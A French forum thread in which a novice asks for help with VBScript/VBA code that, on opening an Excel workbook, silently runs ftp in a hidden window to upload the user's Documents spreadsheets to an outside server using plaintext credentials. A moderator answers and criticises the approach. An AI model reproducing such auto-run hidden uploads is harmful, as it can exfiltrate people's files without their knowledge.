Declaration existante dans la portée en cours

Signaler
Messages postés
18
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
3 juillet 2015
-
Messages postés
18038
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
-
Bonjour,

j'ai recuperé sur le net des bouts de codes permettant de faire du upload ftp en fonction de la session utilisateur connecté

le code fonctionne parfaitement si je l'execute dans un fichier .vbs

mais par contre, lorsque je l'integre dans un projet excel dans "Private Sub Workbook_Open()" ou dans une macro, celui ci m'indique une "erreur de compilation" suivi de "declaration existante dans la portée en cours"

etant novice en vb, pouvez vous m'aider à corriger ce probleme??
merci

ci dessous le code en entier

'*** Déclaration des variables d'environnement
Set fso = WScript.CreateObject("Scripting.FileSystemObject")

Dim dossier : dossier = "FTP"
Dim repSOURCE : repSOURCE = "c:\"
Dim repDESTINATION : repDESTINATION = "c:\"
Dim repVERIF : repVERIF = repDESTINATION & dossier

'*** On met une condition pour vérifier l'existance du dossier contenu dans la variable "repVERIF".
If fso.FolderExists(repVERIF) Then
' wscript.echo " [ ] Le dossier est déjà présent!!!" '
Else
'*** Si le répertoire n'existe pas, celui-ci sera crée.
fso.CreateFolder(repDESTINATION & dossier)
'wscript.echo " [OK] Le dossier " & repDESTINATION & dossier & " à été créer."'
End If

'*** Destruction des objets
Set fso = Nothing

'*** recuperation du user en session en cours

Set net = WScript.CreateObject("WScript.Network")
Dim nameUSER

nameUSER = net.username


'*** execution du FTP

Dim FSO, File
Set FSO = CreateObject("Scripting.FileSystemObject")
Set File = FSO.OpenTextFile("c:\FTP\temp.txt", 2, True)


With File
.WriteLine "open monserveurftp.com"
.WriteLine "USER utilisateur"
.WriteLine "mot de passe"
.WriteLine "MPUT c:\Users\""" & nameUSER & """\Documents\*.xls"
.WriteLine "MPUT c:\Users\""" & nameUSER & """\Documents\*.xlsx"

.WriteLine "quit"
.Close
End With

Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run "ftp -n -i -s:c:\FTP\temp.txt" , 0

'*** Destruction des objets
Set net = Nothing

WScript.Quit

9 réponses

Messages postés
15921
Date d'inscription
mardi 11 mars 2003
Statut
Contributeur
Dernière intervention
10 mai 2021
540
Bonjour le message d'erreur veut dire qu'il y a déjà au moins une variable portant le même nom que l'une ou l'autre de ce code.
Afin de mieux cibler, il faudrait préciser à quelle ligne apparait l'erreur.

Aussi la prochaine fois faire attention de poster dans le forum VB.

Messages postés
18
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
3 juillet 2015

bonjour,
merci pour la reponse
le message d'erreur apparait au niveai de l'execution du ftp
c'est a dire a
Dim FSO, File


merci par avance
--
Messages postés
18038
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
236
Bonjour,
Quelle est la ligne d'erreur ?
Celle-ci, peut-être :
Dim FSO, File
en ligne 32 ?
Prend l'habitude de déclarer tes variables une fois pour toutes en début de procédure
Pourquoi, par ailleurs instancier fso, puis le détruire, puis l'instancier à nouveau ?

Il n'est pas toujours bon, ni astucieux, de "ramasser" des bouts de code sur le net et les assembler.
Ce que tu as ainsi ramassé utilise (de manière onéreuse) fso alors que VBA t'offre du beaucoup plus léger (Open, à bûcher ..) pour écrire dans un fichier texte.
Je t'informe au passage que ton code ne marcherait pas sur ma machine, sur laquelle, à l'instar de quelques autres prudents, VBS est inhibé (pour raisons de sécurité). Raison de plus (surtout si tu dois déployer ton appli) pour rester avec VBA.
Messages postés
18038
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
236
Ouvre (surtout si tu es débutant) ton aide VBA aux rubriques :
- Open, instruction ===>> Lis
- Print #, instruction, exemple ===>>> tu y as ta solution sans ce vilain fso !


________________________
Nul ne saurait valablement coder ce qu'il ne saurait exposer clairement.
Messages postés
18
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
3 juillet 2015

oui l'erreur est bien a la ligne 32

si une ame charitable voudrais bien corriger le code ça serait+++

etant donné que j'utilise occasionnellement voir tres peu vba et que ce n'est que pour une utilisation vraiment qu'exceptionnelle

merci par avance
Messages postés
18038
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
236
Les "âmes charitables" (dont moi-même) ne reviendront ici que lorsque, après avoir ouvert ton aide VBA sur les rubriques que je t'ai signalées, tu continues à rencontrer une difficulté (ce qui serait étonnant) et que tu montreras ce que tu auras écrit sur ces bases.
Désolé de me montrer sévère (si peu), mais ce sera ainsi, en ce qui me concerne (telle est ma religion de développeur sur ce site de développeurs)

________________________
Nul ne saurait valablement coder ce qu'il ne saurait exposer clairement.
Messages postés
18
Date d'inscription
jeudi 20 avril 2006
Statut
Membre
Dernière intervention
3 juillet 2015

bon et bien je n'y arrive pas

j'ai remplacer tout ce qu'il a a partir de la ligne 32 par


Open "FICHIERFTP" For Output As #1

Print #1, "open serverftp"
Print #1, "USER utilisateur"
Print #1, "mot de passe"
Print #1, "MPUT c:\Users\""" & nameUSER & """\Documents\*.xls"
Print #1, "quit"
Close #1


Dim shell
Set shell = CreateObject("WScript.Shell")
shell.Run "ftp -n -i -s:* & FICHIERFTP & &", 0

'*** Destruction des objets
Set net = Nothing

WScript.Quit

End Sub


et j'ai une erreur execution '424' objet requis
je n'y comprend rien
Messages postés
18038
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
236
1) C'est vraiment désolant, voire inquiétant !
ton erreur n'est pas dans l'écriture du fichier (encore que j'observe qu'il n'est pas défini par un chemin complet !!!)

et j'ai une erreur execution '424' objet requis
je n'y comprend rien

2) et c'est la seconde fois que tu viens avec "j'ai une erreur" sans indiquer à quelle ligne ! (l'observation t'en a pourtant été déjà faite, non ???). Il nous faut deviner et perdre encore du temps ?
(Je n'aime pas perdre le mien du fait de la négligence d'autrui).
Je parie que ton erreur surgit à la ligne 19. Elle est évidente, mais je vais te laisser réfléchir un minimum (je ne vois pas comment on peut envisager de sortir d'une maison dans laquelle on n'est jamais rentré, voire qui n'existe pas).
Moi, je te laisse là (il fait chaud et je vais éviter de m'énerver).
J'attendrai que ton niveau de développeur (quel que soit le langage de développement) devienne au moins celui d'un débutant
Bonne chance
________________________
Nul ne saurait valablement coder ce qu'il ne saurait exposer clairement.
Messages postés
18038
Date d'inscription
lundi 7 décembre 2009
Statut
Modérateur
Dernière intervention
11 avril 2018
236
Et à ce stade, je n'ose même pas parler du suivant :
ce qu'est la chaîne :
"ftp -n -i -s:* & FICHIERFTP & &"
et ce qu'elle donnerait, lancée depuis la ligne de commande de Windows !
Au bout du compte : tout, de A à Z, est depuis le départ une succession de "choses" écrites sans en connaître le sens (du chinois, pour toi ?), ni celui dans VBA, ni celui du Shell, ni celui de ... etc ... etc ...
Un conseil : et si tu commençais par le B.A.BA de chaque chose ? (ce serait peut-être souhaitable, non ?, avant de tenter d' "assembler" des "petits bouts" "pêchés" ici et là ... !)